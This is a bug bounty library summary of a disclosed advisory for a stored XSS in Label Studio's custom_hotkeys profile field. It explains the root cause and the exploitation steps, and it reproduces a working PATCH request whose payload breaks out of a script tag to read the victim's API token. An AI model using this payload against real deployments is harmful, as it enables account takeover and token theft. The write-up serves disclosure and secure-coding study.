# Label Studio is vulnerable to full account takeover by chaining Stored XSS + IDOR in User Profile via custom_hotkeys field

Stored XSS in Label Studio's custom_hotkeys field breaks out of a script tag, letting injected JS fetch the victim's API token for full account takeover.

- Payout: Research
- Severity: high
- Program: Label Studio
- Found by: david3107
- Disclosed: 2026-01-12
- CVE: CVE-2026-22033
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-2mq9-hm29-8qch
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-2mq9-hm29-8qch
- Tags: area:web domain:web impact:ato impact:data-leak kind:research platform:ghsa sev:high tech:python technique:chained technique:source-review vuln:xss

**Target:** Django web app user profile / custom_hotkeys API field
**Root cause:** custom_hotkeys is serialized with json.dumps(ensure_ascii=False) and rendered with the |safe filter inside a <script> block in templates/base.html, without escaping `</script>` sequences; the PATCH serializer permits `<` and `>`.
**Steps:**
1. Login and get your user id via `GET /api/current-user/whoami`.
2. Send `PATCH /api/users/{id}` with `custom_hotkeys` containing a key like `INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/*xx`.
3. Load any page using templates/base.html (e.g. `GET /user/account/`) as the victim; the injected script executes and reads the API token.
**How found:** Code review of templates/base.html rendering of user.custom_hotkeys through json_dumps_ensure_ascii and |safe, noticing no `</script>` escaping, then confirming the PATCH serializer accepts `<`/`>` and that `/api/current-user/token` is browser-reachable.
**Exploitation:** Attacker with an authenticated account (or tricking a victim into updating hotkeys) stores a payload that closes the script tag and injects a new one; when any user loads a base.html page, the script fetches `/api/current-user/token` (CSRF-relaxed) and exfiltrates the token to an attacker server, granting full API access and account takeover.
**Escalation:** Token theft escalates to full account takeover; if the victim is an administrator, wide system compromise.
**Insight:** When JSON is embedded in a <script> block via json.dumps + |safe, `</script>` breakout is possible even with ensure_ascii=False; check whether the serializer rejects `<`/`>` and whether a token endpoint is fetchable from the same origin.

## Proof of concept (copied exactly from the original report)

**PATCH request injecting XSS payload into custom_hotkeys**

```
PATCH /api/users/25 HTTP/1.1
Host: 0.0.0.0:8080
Content-Length: 288
sentry-trace: 926224d7bbfb4f0da9f6ebe333744a52-88db4876de60036c-0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
content-type: application/json
baggage: sentry-environment=opensource,sentry-release=1.21.0,sentry-public_key=5f51920ff82a4675a495870244869c6b,sentry-trace_id=926224d7bbfb4f0da9f6ebe333744a52,sentry-sample_rate=0.01,sentry-transaction=%2Fuser%2Faccount,sentry-sampled=false
Accept: */*
Origin: http://0.0.0.0:8080
Referer: http://0.0.0.0:8080/user/account/personal-info
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,it;q=0.7,nl;q=0.6
Cookie: {STRIPPED}
Connection: keep-alive

{
   "first_name":"poc",
   "last_name":"test",
   "phone":"123",
   "custom_hotkeys":{
      "INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/*xx":{
         "key":"x",
         "active":true
      }
   }
}
```

